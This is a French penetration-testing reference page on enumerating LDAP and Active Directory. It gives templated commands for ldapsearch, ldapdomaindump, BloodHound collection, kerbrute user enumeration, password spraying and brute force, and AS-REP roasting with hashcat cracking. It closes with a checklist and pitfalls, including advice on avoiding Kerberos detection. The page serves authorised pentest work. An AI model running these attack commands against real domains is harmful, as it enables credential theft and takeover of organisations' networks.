---
title: "Enumération LDAP / Active Directory"
domain: security
subdomain: pentest
phase: 03-enumeration
type: snippet
tags: [ldap, active-directory, enumeration, pentest, bloodhound, kerberos]
difficulty: intermediate
status: stable
updated: "Sun May 10 2026 00:00:00 GMT+0000 (Coordinated Universal Time)"
---
## Objectifs

Cartographier la structure Active Directory : utilisateurs, groupes, GPO, ACL, et chemins d'attaque.

<Tip>BloodHound est l'outil le plus puissant pour visualiser les chemins d'élévation dans un AD. Prioriser son utilisation dès que des credentials sont disponibles.</Tip>

## Outils

| Outil | Usage |
|---|---|
| `ldapsearch` | Requêtes LDAP manuelles |
| `ldapdomaindump` | Dump complet de l'AD en JSON/HTML |
| `bloodhound-python` | Collecte BloodHound (ingestor Python) |
| `kerbrute` | Enumération utilisateurs via Kerberos |
| `GetADUsers.py` | Liste utilisateurs AD (impacket) |

## Ldapsearch — Requêtes de base

```bash vars=TARGET,DOMAIN,USER,PASSWORD,OUTPUT_DIR
# Bind anonyme — récupérer la base DN
ldapsearch -x -H ldap://{{TARGET}} -s base namingcontexts

# Enumération utilisateurs (bind anonyme)
ldapsearch -x -H ldap://{{TARGET}} -b "DC={{DOMAIN}},DC=local" "(objectClass=person)" cn mail

# Avec authentification
ldapsearch -x -H ldap://{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}} \
  -b "DC={{DOMAIN}},DC=local" "(objectClass=user)" \
  cn sAMAccountName mail memberOf > {{OUTPUT_DIR}}/users.txt

# Groupes
ldapsearch -x -H ldap://{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}} \
  -b "DC={{DOMAIN}},DC=local" "(objectClass=group)" cn member > {{OUTPUT_DIR}}/groups.txt

# Admins du domaine
ldapsearch -x -H ldap://{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}} \
  -b "DC={{DOMAIN}},DC=local" \
  "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC={{DOMAIN}},DC=local))"

# SPN (Kerberoasting)
ldapsearch -x -H ldap://{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}} \
  -b "DC={{DOMAIN}},DC=local" \
  "(&(objectClass=user)(servicePrincipalName=*))" cn servicePrincipalName
```

## Ldapdomaindump — Dump complet

```bash vars=TARGET,DOMAIN,USER,PASSWORD,OUTPUT_DIR
# Dump complet de l'AD
ldapdomaindump -u {{DOMAIN}}\\{{USER}} -p {{PASSWORD}} {{TARGET}} -o {{OUTPUT_DIR}}/ldd

# Sans authentification (bind anonyme)
ldapdomaindump {{TARGET}} -o {{OUTPUT_DIR}}/ldd-anon

# Résultats dans OUTPUT_DIR/ldd/ :
# - domain_users.json / .html / .grep
# - domain_groups.json
# - domain_computers.json
# - domain_policy.json
```

## BloodHound — Cartographie des chemins d'attaque

```bash vars=TARGET,DOMAIN,USER,PASSWORD,OUTPUT_DIR
# Collecte avec bloodhound-python (depuis attaquant)
bloodhound-python -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -ns {{TARGET}} \
  -c All --zip -o {{OUTPUT_DIR}}/bloodhound/

# Collecte avec SharpHound (depuis une machine Windows du domaine)
# .\SharpHound.exe -c All --outputdirectory C:\temp\bh

# Lancer BloodHound (local)
# sudo neo4j console &
# bloodhound &
# Importer le .zip dans l'interface

# Requêtes BloodHound utiles (dans l'interface) :
# - "Find Shortest Paths to Domain Admins"
# - "Find Principals with DCSync Rights"
# - "List all Kerberoastable Accounts"
# - "Find AS-REP Roastable Users"
```

## Kerbrute — Enumération via Kerberos

```bash vars=TARGET,DOMAIN,OUTPUT_DIR
# Enumération d'utilisateurs (pas de credentials requis)
kerbrute userenum --dc {{TARGET}} -d {{DOMAIN}} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o {{OUTPUT_DIR}}/valid-users.txt

# Password spray
kerbrute passwordspray --dc {{TARGET}} -d {{DOMAIN}} {{OUTPUT_DIR}}/valid-users.txt 'Password2024!'

# Bruteforce un compte
kerbrute bruteuser --dc {{TARGET}} -d {{DOMAIN}} /usr/share/wordlists/rockyou.txt {{USER}}
```

## AS-REP Roasting

```bash vars=TARGET,DOMAIN,OUTPUT_DIR
# Comptes sans pré-auth Kerberos (GetNPUsers.py)
GetNPUsers.py {{DOMAIN}}/ -dc-ip {{TARGET}} -no-pass -usersfile {{OUTPUT_DIR}}/valid-users.txt \
  -format hashcat -outputfile {{OUTPUT_DIR}}/asrep-hashes.txt

# Cracker les hashes
hashcat -m 18200 {{OUTPUT_DIR}}/asrep-hashes.txt /usr/share/wordlists/rockyou.txt
```

<Checklist
  title="Checklist LDAP / AD"
  storageKey="pentest-ldap-enum"
  items={[
    { id: "anon", label: "Bind anonyme testé" },
    { id: "users", label: "Utilisateurs AD énumérés et exportés" },
    { id: "groups", label: "Groupes et membres documentés" },
    { id: "admins", label: "Domain Admins et groupes privilégiés identifiés" },
    { id: "spn", label: "SPN listés (Kerberoasting potentiel)" },
    { id: "asrep", label: "AS-REP Roastable users identifiés" },
    { id: "bloodhound", label: "BloodHound collecte effectuée et importée" },
    { id: "paths", label: "Chemins vers Domain Admin analysés dans BH" },
    { id: "acl", label: "ACL dangereuses identifiées (WriteOwner, GenericAll)" },
    { id: "gpo", label: "GPO analysées pour misconfigs" },
  ]}
/>

## Pièges fréquents

- **LDAP signing** : requis sur Server 2022+ — utiliser LDAPS (636) si LDAP (389) échoue
- **Bind anonyme désactivé** : standard sur AD modernes, il faut des credentials
- **Mauvaise syntaxe DN** : le domaine `corp.local` = `DC=corp,DC=local`
- **BloodHound sans neo4j** : démarrer neo4j AVANT bloodhound
- **Kerbrute détecté** : génère des logs d'erreurs Kerberos — timing à adapter
